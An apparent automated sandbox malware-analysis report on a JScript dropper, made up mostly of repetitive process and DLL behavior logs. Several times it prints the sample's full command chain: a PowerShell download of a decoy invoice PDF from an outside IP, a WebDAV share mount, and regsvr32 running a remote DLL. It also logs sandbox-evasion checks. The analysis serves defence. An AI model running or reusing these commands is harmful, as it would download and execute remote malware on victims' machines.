Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\389.js.csv");ITextStream.WriteLine(" entry:7870 f:fxpxxgyft");ITextStream.WriteLine(" exec:2 f:fxpxxgyft");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49758

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5144			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4366			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 5144 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep count: 4366 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7912	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8140	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1400960728.000001C2489F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1400960728.000001C248A57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2624564025.0000026E17E5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2623211710.0000026E1682B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
